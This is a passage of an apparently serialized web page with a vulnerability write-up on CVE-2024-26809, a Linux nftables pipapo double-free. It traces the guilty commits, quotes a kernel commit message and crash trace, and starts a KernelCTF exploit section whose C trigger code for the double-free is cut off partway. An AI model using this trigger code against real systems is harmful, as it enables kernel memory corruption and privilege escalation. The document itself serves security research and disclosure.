",{"type":26,"tag":83,"props":108785,"children":108787},{"className":108786},[],[108788],{"type":32,"value":106061},{"type":32,"value":108790}," true in the release step because the ",{"type":26,"tag":83,"props":108792,"children":108794},{"className":108793},[],[108795],{"type":32,"value":107423},{"type":32,"value":108797}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":26,"tag":83,"props":108799,"children":108801},{"className":108800},[],[108802],{"type":32,"value":108803},"set->dead",{"type":32,"value":108805}," flag. If a ",{"type":26,"tag":83,"props":108807,"children":108809},{"className":108808},[],[108810],{"type":32,"value":106107},{"type":32,"value":108812}," was marked for deletion, it receives the ",{"type":26,"tag":83,"props":108814,"children":108816},{"className":108815},[],[108817],{"type":32,"value":108803},{"type":32,"value":108819}," flag ",{"type":26,"tag":217,"props":108821,"children":108822},{},[108823],{"type":32,"value":332},{"type":32,"value":108825},". If this flag is set, then the commit path will skip any commitments to this ",{"type":26,"tag":83,"props":108827,"children":108829},{"className":108828},[],[108830],{"type":32,"value":106107},{"type":32,"value":19795},{"type":26,"tag":217,"props":108833,"children":108834},{},[108835],{"type":32,"value":10985},{"type":32,"value":108837},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":26,"tag":83,"props":108839,"children":108841},{"className":108840},[],[108842],{"type":32,"value":108843},"priv ->dirty",{"type":32,"value":108845}," flag is not cleared when it should have been.",{"type":26,"tag":27,"props":108847,"children":108849},{"id":108848},"tracing-the-guilty-commit",[108850],{"type":32,"value":108851},"Tracing the guilty commit",{"type":26,"tag":39,"props":108853,"children":108854},{},[108855,108857,108864,108866,108872,108874,108879,108881,108887],{"type":32,"value":108856},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":26,"tag":163,"props":108858,"children":108861},{"href":108859,"rel":108860},"https://ubuntu.com/security/CVE-2024-26809",[167],[108862],{"type":32,"value":108863},"advisories",{"type":32,"value":108865}," about this vulnerability will say it was introduced by this ",{"type":26,"tag":163,"props":108867,"children":108870},{"href":108868,"rel":108869},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[167],[108871],{"type":32,"value":107755},{"type":32,"value":108873},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":26,"tag":83,"props":108875,"children":108877},{"className":108876},[],[108878],{"type":32,"value":108803},{"type":32,"value":108880}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":26,"tag":163,"props":108882,"children":108885},{"href":108883,"rel":108884},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[167],[108886],{"type":32,"value":107755},{"type":32,"value":180},{"type":26,"tag":39,"props":108889,"children":108890},{},[108891],{"type":32,"value":108892},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":26,"tag":207,"props":108894,"children":108898},{"className":108895,"code":108896,"language":108897,"meta":8,"style":8},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[108899],{"type":26,"tag":83,"props":108900,"children":108901},{"__ignoreMap":8},[108902,108910,108918,108925,108933,108941,108948,108956,108963,108971,108979,108986,108994,109002,109010,109018,109026,109034,109042,109050,109058,109065,109073,109081,109088,109096,109104,109112,109120,109128,109135,109143,109151],{"type":26,"tag":217,"props":108903,"children":108904},{"class":7028,"line":7029},[108905],{"type":26,"tag":217,"props":108906,"children":108907},{},[108908],{"type":32,"value":108909},"New elements that reside in the clone are not released in case that the\n",{"type":26,"tag":217,"props":108911,"children":108912},{"class":7028,"line":6770},[108913],{"type":26,"tag":217,"props":108914,"children":108915},{},[108916],{"type":32,"value":108917},"transaction is aborted.\n",{"type":26,"tag":217,"props":108919,"children":108920},{"class":7028,"line":6779},[108921],{"type":26,"tag":217,"props":108922,"children":108923},{"emptyLinePlaceholder":17},[108924],{"type":32,"value":7817},{"type":26,"tag":217,"props":108926,"children":108927},{"class":7028,"line":7140},[108928],{"type":26,"tag":217,"props":108929,"children":108930},{},[108931],{"type":32,"value":108932},"[16302.231754] ------------[ cut here ]------------\n",{"type":26,"tag":217,"props":108934,"children":108935},{"class":7028,"line":7165},[108936],{"type":26,"tag":217,"props":108937,"children":108938},{},[108939],{"type":32,"value":108940},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":26,"tag":217,"props":108942,"children":108943},{"class":7028,"line":7178},[108944],{"type":26,"tag":217,"props":108945,"children":108946},{},[108947],{"type":32,"value":59466},{"type":26,"tag":217,"props":108949,"children":108950},{"class":7028,"line":7389},[108951],{"type":26,"tag":217,"props":108952,"children":108953},{},[108954],{"type":32,"value":108955},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":26,"tag":217,"props":108957,"children":108958},{"class":7028,"line":7406},[108959],{"type":26,"tag":217,"props":108960,"children":108961},{},[108962],{"type":32,"value":59466},{"type":26,"tag":217,"props":108964,"children":108965},{"class":7028,"line":7439},[108966],{"type":26,"tag":217,"props":108967,"children":108968},{},[108969],{"type":32,"value":108970},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":26,"tag":217,"props":108972,"children":108973},{"class":7028,"line":7487},[108974],{"type":26,"tag":217,"props":108975,"children":108976},{},[108977],{"type":32,"value":108978},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":26,"tag":217,"props":108980,"children":108981},{"class":7028,"line":7524},[108982],{"type":26,"tag":217,"props":108983,"children":108984},{},[108985],{"type":32,"value":59466},{"type":26,"tag":217,"props":108987,"children":108988},{"class":7028,"line":7553},[108989],{"type":26,"tag":217,"props":108990,"children":108991},{},[108992],{"type":32,"value":108993},"[16302.231917] Call Trace:\n",{"type":26,"tag":217,"props":108995,"children":108996},{"class":7028,"line":7570},[108997],{"type":26,"tag":217,"props":108998,"children":108999},{},[109000],{"type":32,"value":109001},"[16302.231919]  \u003CTASK>\n",{"type":26,"tag":217,"props":109003,"children":109004},{"class":7028,"line":7621},[109005],{"type":26,"tag":217,"props":109006,"children":109007},{},[109008],{"type":32,"value":109009},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":26,"tag":217,"props":109011,"children":109012},{"class":7028,"line":7672},[109013],{"type":26,"tag":217,"props":109014,"children":109015},{},[109016],{"type":32,"value":109017},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":26,"tag":217,"props":109019,"children":109020},{"class":7028,"line":7681},[109021],{"type":26,"tag":217,"props":109022,"children":109023},{},[109024],{"type":32,"value":109025},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":26,"tag":217,"props":109027,"children":109028},{"class":7028,"line":7754},[109029],{"type":26,"tag":217,"props":109030,"children":109031},{},[109032],{"type":32,"value":109033},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":26,"tag":217,"props":109035,"children":109036},{"class":7028,"line":7784},[109037],{"type":26,"tag":217,"props":109038,"children":109039},{},[109040],{"type":32,"value":109041},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":26,"tag":217,"props":109043,"children":109044},{"class":7028,"line":7802},[109045],{"type":26,"tag":217,"props":109046,"children":109047},{},[109048],{"type":32,"value":109049},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":26,"tag":217,"props":109051,"children":109052},{"class":7028,"line":7811},[109053],{"type":26,"tag":217,"props":109054,"children":109055},{},[109056],{"type":32,"value":109057},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":26,"tag":217,"props":109059,"children":109060},{"class":7028,"line":7820},[109061],{"type":26,"tag":217,"props":109062,"children":109063},{"emptyLinePlaceholder":17},[109064],{"type":32,"value":7817},{"type":26,"tag":217,"props":109066,"children":109067},{"class":7028,"line":7844},[109068],{"type":26,"tag":217,"props":109069,"children":109070},{},[109071],{"type":32,"value":109072},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":26,"tag":217,"props":109074,"children":109075},{"class":7028,"line":7910},[109076],{"type":26,"tag":217,"props":109077,"children":109078},{},[109079],{"type":32,"value":109080},"elements in the lookup tables.\n",{"type":26,"tag":217,"props":109082,"children":109083},{"class":7028,"line":7954},[109084],{"type":26,"tag":217,"props":109085,"children":109086},{"emptyLinePlaceholder":17},[109087],{"type":32,"value":7817},{"type":26,"tag":217,"props":109089,"children":109090},{"class":7028,"line":7985},[109091],{"type":26,"tag":217,"props":109092,"children":109093},{},[109094],{"type":32,"value":109095},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":26,"tag":217,"props":109097,"children":109098},{"class":7028,"line":8027},[109099],{"type":26,"tag":217,"props":109100,"children":109101},{},[109102],{"type":32,"value":109103},"cloned matching data if priv->dirty is set, because that means that\n",{"type":26,"tag":217,"props":109105,"children":109106},{"class":7028,"line":8035},[109107],{"type":26,"tag":217,"props":109108,"children":109109},{},[109110],{"type":32,"value":109111},"cloned data might point to additional elements we did not commit to the\n",{"type":26,"tag":217,"props":109113,"children":109114},{"class":7028,"line":8067},[109115],{"type":26,"tag":217,"props":109116,"children":109117},{},[109118],{"type":32,"value":109119},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":26,"tag":217,"props":109121,"children":109122},{"class":7028,"line":8107},[109123],{"type":26,"tag":217,"props":109124,"children":109125},{},[109126],{"type":32,"value":109127},"to it).\"\n",{"type":26,"tag":217,"props":109129,"children":109130},{"class":7028,"line":8145},[109131],{"type":26,"tag":217,"props":109132,"children":109133},{"emptyLinePlaceholder":17},[109134],{"type":32,"value":7817},{"type":26,"tag":217,"props":109136,"children":109137},{"class":7028,"line":8154},[109138],{"type":26,"tag":217,"props":109139,"children":109140},{},[109141],{"type":32,"value":109142},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":26,"tag":217,"props":109144,"children":109145},{"class":7028,"line":8162},[109146],{"type":26,"tag":217,"props":109147,"children":109148},{},[109149],{"type":32,"value":109150},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":26,"tag":217,"props":109152,"children":109153},{"class":7028,"line":8197},[109154],{"type":26,"tag":217,"props":109155,"children":109156},{},[109157],{"type":32,"value":109158},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":26,"tag":39,"props":109160,"children":109161},{},[109162,109164,109169,109171,109176,109178,109183,109185,109190],{"type":32,"value":109163},"As we previously discussed, committing changes to a pipapo ",{"type":26,"tag":83,"props":109165,"children":109167},{"className":109166},[],[109168],{"type":32,"value":106107},{"type":32,"value":109170}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":26,"tag":83,"props":109172,"children":109174},{"className":109173},[],[109175],{"type":32,"value":107423},{"type":32,"value":109177}," method by simply replacing the ",{"type":26,"tag":83,"props":109179,"children":109181},{"className":109180},[],[109182],{"type":32,"value":106107},{"type":32,"value":109184},"s match object with its updated clone. So checking the ",{"type":26,"tag":83,"props":109186,"children":109188},{"className":109187},[],[109189],{"type":32,"value":106061},{"type":32,"value":109191}," flag and then calling free again ensures we also free uncommitted changes.",{"type":26,"tag":39,"props":109193,"children":109194},{},[109195,109197,109202],{"type":32,"value":109196},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":26,"tag":83,"props":109198,"children":109200},{"className":109199},[],[109201],{"type":32,"value":106107},{"type":32,"value":109203},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":26,"tag":39,"props":109205,"children":109206},{},[109207,109209,109215,109217,109222,109224,109229],{"type":32,"value":109208},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":26,"tag":83,"props":109210,"children":109212},{"className":109211},[],[109213],{"type":32,"value":109214},"set->ops->destroy()",{"type":32,"value":109216}," could be called without clearing the ",{"type":26,"tag":83,"props":109218,"children":109220},{"className":109219},[],[109221],{"type":32,"value":106061},{"type":32,"value":109223}," flag, which was fine considering you didn't have duplicated views of the ",{"type":26,"tag":83,"props":109225,"children":109227},{"className":109226},[],[109228],{"type":32,"value":106099},{"type":32,"value":109230},"s, so they would all be in the clone set.",{"type":26,"tag":39,"props":109232,"children":109233},{},[109234,109236,109241],{"type":32,"value":109235},"But when the ",{"type":26,"tag":83,"props":109237,"children":109239},{"className":109238},[],[109240],{"type":32,"value":108803},{"type":32,"value":109242}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":26,"tag":39,"props":109244,"children":109245},{},[109246],{"type":32,"value":109247},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":26,"tag":27,"props":109249,"children":109251},{"id":109250},"kernelctf-exploit",[109252],{"type":32,"value":109253},"KernelCTF exploit",{"type":26,"tag":39,"props":109255,"children":109256},{},[109257,109259,109265,109267,109274],{"type":32,"value":109258},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":26,"tag":83,"props":109260,"children":109262},{"className":109261},[],[109263],{"type":32,"value":109264},"nft_object + udata",{"type":32,"value":109266}," technique shared by lonial con in a ",{"type":26,"tag":163,"props":109268,"children":109271},{"href":109269,"rel":109270},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[167],[109272],{"type":32,"value":109273},"previous kernelCTF exploit",{"type":32,"value":180},{"type":26,"tag":607,"props":109276,"children":109278},{"id":109277},"trigger-uafavoid-double-free-detection",[109279],{"type":32,"value":109280},"Trigger UAF/avoid double-free detection",{"type":26,"tag":39,"props":109282,"children":109283},{},[109284,109286,109292,109294,109300],{"type":32,"value":109285},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":26,"tag":83,"props":109287,"children":109289},{"className":109288},[],[109290],{"type":32,"value":109291},"nft_set_pipapo_match_destroy",{"type":32,"value":109293}," iterates over the ",{"type":26,"tag":83,"props":109295,"children":109297},{"className":109296},[],[109298],{"type":32,"value":109299},"setelems",{"type":32,"value":109301}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":26,"tag":6712,"props":109303,"children":109304},{},[109305,109310,109315,109320],{"type":26,"tag":2044,"props":109306,"children":109307},{},[109308],{"type":32,"value":109309},"Element A gets freed",{"type":26,"tag":2044,"props":109311,"children":109312},{},[109313],{"type":32,"value":109314},"Element B gets free",{"type":26,"tag":2044,"props":109316,"children":109317},{},[109318],{"type":32,"value":109319},"Element A gets freed again (double-free)",{"type":26,"tag":2044,"props":109321,"children":109322},{},[109323],{"type":32,"value":109324},"Element B gets freed again (double-free)",{"type":26,"tag":207,"props":109326,"children":109328},{"className":33132,"code":109327,"language":33131,"meta":8,"style":8},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[109329],{"type":26,"tag":83,"props":109330,"children":109331},{"__ignoreMap":8},[109332,109339,109400,109407,109414,109422,109429,109436,109444,109468,109489,109523,109583,109590,109598,109649,109656,109682,109709,109747,109776,109805,109827,109834,109841,109848,109856,109863,109871,109884,109897,109917,109924,109932,109954,109986,110031,110067,110095,110102,110109,110117,110124,110140,110147],{"type":26,"tag":217,"props":109333,"children":109334},{"class":7028,"line":7029},[109335],{"type":26,"tag":217,"props":109336,"children":109337},{"style":7048},[109338],{"type":32,"value":59466},{"type":26,"tag":217,"props":109340,"children":109341},{"class":7028,"line":6770},[109342,109347,109351,109356,109360,109365,109369,109374,109379,109383,109387,109391,109396],{"type":26,"tag":217,"props":109343,"children":109344},{"style":7048},[109345],{"type":32,"value":109346},"static void trigger_uaf(",{"type":26,"tag":217,"props":109348,"children":109349},{"style":7154},[109350],{"type":32,"value":12224},{"type":26,"tag":217,"props":109352,"children":109353},{"style":7119},[109354],{"type":32,"value":109355}," mnl_socket",{"type":26,"tag":217,"props":109357,"children":109358},{"style":7154},[109359],{"type":32,"value":9690},{"type":26,"tag":217,"props":109361,"children":109362},{"style":7054},[109363],{"type":32,"value":109364},"nl",{"type":26,"tag":217,"props":109366,"children":109367},{"style":7048},[109368],{"type":32,"value":7599},{"type":26,"tag":217,"props":109370,"children":109371},{"style":7154},[109372],{"type":32,"value":109373},"size_t",{"type":26,"tag":217,"props":109375,"children":109376},{"style":7054},[109377],{"type":32,"value":109378}," size",{"type":26,"tag":217,"props":109380,"children":109381},{"style":7048},[109382],{"type":32,"value":7599},{"type":26,"tag":217,"props":109384,"children":109385},{"style":7154},[109386],{"type":32,"value":9619},{"type":26,"tag":217,"props":109388,"children":109389},{"style":7154},[109390],{"type":32,"value":9690},{"type":26,"tag":217,"props":109392,"children":109393},{"style":7054},[109394],{"type":32,"value":109395},"msgqids",{"type":26,"tag":217,"props":109397,"children":109398},{"style":7048},[109399],{"type":32,"value":10025},{"type":26,"tag":217,"props":109401,"children":109402},{"class":7028,"line":6779},[109403],{"type":26,"tag":217,"props":109404,"children":109405},{"style":7048},[109406],{"type":32,"value":10033},{"type":26,"tag":217,"props":109408,"children":109409},{"class":7028,"line":7140},[109410],{"type":26,"tag":217,"props":109411,"children":109412},{"style":7048},[109413],{"type":32,"value":59466},{"type":26,"tag":217,"props":109415,"children":109416},{"class":7028,"line":7165},[109417],{"type":26,"tag":217,"props":109418,"children":109419},{"style":7048},[109420],{"type":32,"value":109421},"    // TRANSACTION 2\n",{"type":26,"tag":217,"props":109423,"children":109424},{"class":7028,"line":7178},[109425],{"type":26,"tag":217,"props":109426,"children":109427},{"style":7048},[109428],{"type":32,"value":59466},{"type":26,"tag":217,"props":109430,"children":109431},{"class":7028,"line":7389},[109432],{"type":26,"tag":217,"props":109433,"children":109434},{"emptyLinePlaceholder":17},[109435],{"type":32,"value":7817},{"type":26,"tag":217,"props":109437,"children":109438},{"class":7028,"line":7406},[109439],{"type":26,"tag":217,"props":109440,"children":109441},{"style":7048},[109442],{"type":32,"value":109443},"    // create pipapo set\n",{"type":26,"tag":217,"props":109445,"children":109446},{"class":7028,"line":7439},[109447,109452,109456,109460,109464],{"type":26,"tag":217,"props":109448,"children":109449},{"style":7048},[109450],{"type":32,"value":109451},"    uint8_t desc[2] = {",{"type":26,"tag":217,"props":109453,"children":109454},{"style":7130},[109455],{"type":32,"value":12286},{"type":26,"tag":217,"props":109457,"children":109458},{"style":7048},[109459],{"type":32,"value":7599},{"type":26,"tag":217,"props":109461,"children":109462},{"style":7130},[109463],{"type":32,"value":12286},{"type":26,"tag":217,"props":109465,"children":109466},{"style":7048},[109467],{"type":32,"value":12331},{"type":26,"tag":217,"props":109469,"children":109470},{"class":7028,"line":7487},[109471,109476,109480,109485],{"type":26,"tag":217,"props":109472,"children":109473},{"style":7048},[109474],{"type":32,"value":109475},"    set ",{"type":26,"tag":217,"props":109477,"children":109478},{"style":7149},[109479],{"type":32,"value":267},{"type":26,"tag":217,"props":109481,"children":109482},{"style":7064},[109483],{"type":32,"value":109484}," create_set",{"type":26,"tag":217,"props":109486,"children":109487},{"style":7048},[109488],{"type":32,"value":10932},{"type":26,"tag":217,"props":109490,"children":109491},{"class":7028,"line":7524},[109492,109497,109501,109506,109511,109515,109519],{"type":26,"tag":217,"props":109493,"children":109494},{"style":7048},[109495],{"type":32,"value":109496},"        batch, seq",{"type":26,"tag":217,"props":109498,"children":109499},{"style":7149},[109500],{"type":32,"value":11082},{"type":26,"tag":217,"props":109502,"children":109503},{"style":7048},[109504],{"type":32,"value":109505},", exploit_table_name, ",{"type":26,"tag":217,"props":109507,"children":109508},{"style":7338},[109509],{"type":32,"value":109510},"\"pwn_set\"",{"type":26,"tag":217,"props":109512,"children":109513},{"style":7048},[109514],{"type":32,"value":7599},{"type":26,"tag":217,"props":109516,"children":109517},{"style":7130},[109518],{"type":32,"value":17388},{"type":26,"tag":217,"props":109520,"children":109521},{"style":7048},[109522],{"type":32,"value":10953},{"type":26,"tag":217,"props":109524,"children":109525},{"class":7028,"line":7553},[109526,109531,109535,109540,109544,109549,109553,109557,109561,109566,109570,109574,109578],{"type":26,"tag":217,"props":109527,"children":109528},{"style":7048},[109529],{"type":32,"value":109530},"        NFT_SET_INTERVAL ",{"type":26,"tag":217,"props":109532,"children":109533},{"style":7149},[109534],{"type":32,"value":94074},{"type":26,"tag":217,"props":109536,"children":109537},{"style":7048},[109538],{"type":32,"value":109539}," NFT_SET_OBJECT ",{"type":26,"tag":217,"props":109541,"children":109542},{"style":7149},[109543],{"type":32,"value":94074},{"type":26,"tag":217,"props":109545,"children":109546},{"style":7048},[109547],{"type":32,"value":109548}," NFT_SET_CONCAT, KEY_LEN, ",{"type":26,"tag":217,"props":109550,"children":109551},{"style":7130},[109552],{"type":32,"value":332},{"type":26,"tag":217,"props":109554,"children":109555},{"style":7048},[109556],{"type":32,"value":7599},{"type":26,"tag":217,"props":109558,"children":109559},{"style":7149},[109560],{"type":32,"value":9804},{"type":26,"tag":217,"props":109562,"children":109563},{"style":7048},[109564],{"type":32,"value":109565},"desc, ",{"type":26,"tag":217,"props":109567,"children":109568},{"style":7154},[109569],{"type":32,"value":18022},{"type":26,"tag":217,"props":109571,"children":109572},{"style":7048},[109573],{"type":32,"value":7599},{"type":26,"tag":217,"props":109575,"children":109576},{"style":7130},[109577],{"type":32,"value":1883},{"type":26,"tag":217,"props":109579,"children":109580},{"style":7048},[109581],{"type":32,"value":109582},", NFT_OBJECT_CT_EXPECT);\n",{"type":26,"tag":217,"props":109584,"children":109585},{"class":7028,"line":7570},[109586],{"type":26,"tag":217,"props":109587,"children":109588},{"emptyLinePlaceholder":17},[109589],{"type":32,"value":7817},{"type":26,"tag":217,"props":109591,"children":109592},{"class":7028,"line":7621},[109593],{"type":26,"tag":217,"props":109594,"children":109595},{"style":7033},[109596],{"type":32,"value":109597},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":26,"tag":217,"props":109599,"children":109600},{"class":7028,"line":7672},[109601,109605,109609,109613,109617,109621,109625,109629,109633,109637,109641,109645],{"type":26,"tag":217,"props":109602,"children":109603},{"style":7042},[109604],{"type":32,"value":12461},{"type":26,"tag":217,"props":109606,"children":109607},{"style":7048},[109608],{"type":32,"value":7051},{"type":26,"tag":217,"props":109610,"children":109611},{"style":7154},[109612],{"type":32,"value":9619},{"type":26,"tag":217,"props":109614,"children":109615},{"style":7048},[109616],{"type":32,"value":11221},{"type":26,"tag":217,"props":109618,"children":109619},{"style":7149},[109620],{"type":32,"value":267},{"type":26,"tag":217,"props":109622,"children":109623},{"style":7130},[109624],{"type":32,"value":9922},{"type":26,"tag":217,"props":109626,"children":109627},{"style":7048},[109628],{"type":32,"value":11068},{"type":26,"tag":217,"props":109630,"children":109631},{"style":7149},[109632],{"type":32,"value":7289},{"type":26,"tag":217,"props":109634,"children":109635},{"style":7130},[109636],{"type":32,"value":9725},{"type":26,"tag":217,"props":109638,"children":109639},{"style":7048},[109640],{"type":32,"value":106346},{"type":26,"tag":217,"props":109642,"children":109643},{"style":7149},[109644],{"type":32,"value":11082},{"type":26,"tag":217,"props":109646,"children":109647},{"style":7048},[109648],{"type":32,"value":10025},{"type":26,"tag":217,"props":109650,"children":109651},{"class":7028,"line":7681},[109652],{"type":26,"tag":217,"props":109653,"children":109654},{"style":7048},[109655],{"type":32,"value":37334},{"type":26,"tag":217,"props":109657,"children":109658},{"class":7028,"line":7754},[109659,109664,109669,109673,109678],{"type":26,"tag":217,"props":109660,"children":109661},{"style":7054},[109662],{"type":32,"value":109663},"        elem",{"type":26,"tag":217,"props":109665,"children":109666},{"style":7048},[109667],{"type":32,"value":109668},"[i] ",{"type":26,"tag":217,"props":109670,"children":109671},{"style":7149},[109672],{"type":32,"value":267},{"type":26,"tag":217,"props":109674,"children":109675},{"style":7064},[109676],{"type":32,"value":109677}," nftnl_set_elem_alloc",{"type":26,"tag":217,"props":109679,"children":109680},{"style":7048},[109681],{"type":32,"value":8217},{"type":26,"tag":217,"props":109683,"children":109684},{"class":7028,"line":7784},[109685,109690,109695,109700,109704],{"type":26,"tag":217,"props":109686,"children":109687},{"style":7064},[109688],{"type":32,"value":109689},"        memset",{"type":26,"tag":217,"props":109691,"children":109692},{"style":7048},[109693],{"type":32,"value":109694},"(key, ",{"type":26,"tag":217,"props":109696,"children":109697},{"style":7130},[109698],{"type":32,"value":109699},"0x41",{"type":26,"tag":217,"props":109701,"children":109702},{"style":7149},[109703],{"type":32,"value":9025},{"type":26,"tag":217,"props":109705,"children":109706},{"style":7048},[109707],{"type":32,"value":109708}," i, KEY_LEN);\n",{"type":26,"tag":217,"props":109710,"children":109711},{"class":7028,"line":7802},[109712,109717,109721,109725,109730,109735,109739,109743],{"type":26,"tag":217,"props":109713,"children":109714},{"style":7064},[109715],{"type":32,"value":109716},"        nftnl_set_elem_set",{"type":26,"tag":217,"props":109718,"children":109719},{"style":7048},[109720],{"type":32,"value":1851},{"type":26,"tag":217,"props":109722,"children":109723},{"style":7054},[109724],{"type":32,"value":34846},{"type":26,"tag":217,"props":109726,"children":109727},{"style":7048},[109728],{"type":32,"value":109729},"[i], NFTNL_SET_ELEM_OBJREF, 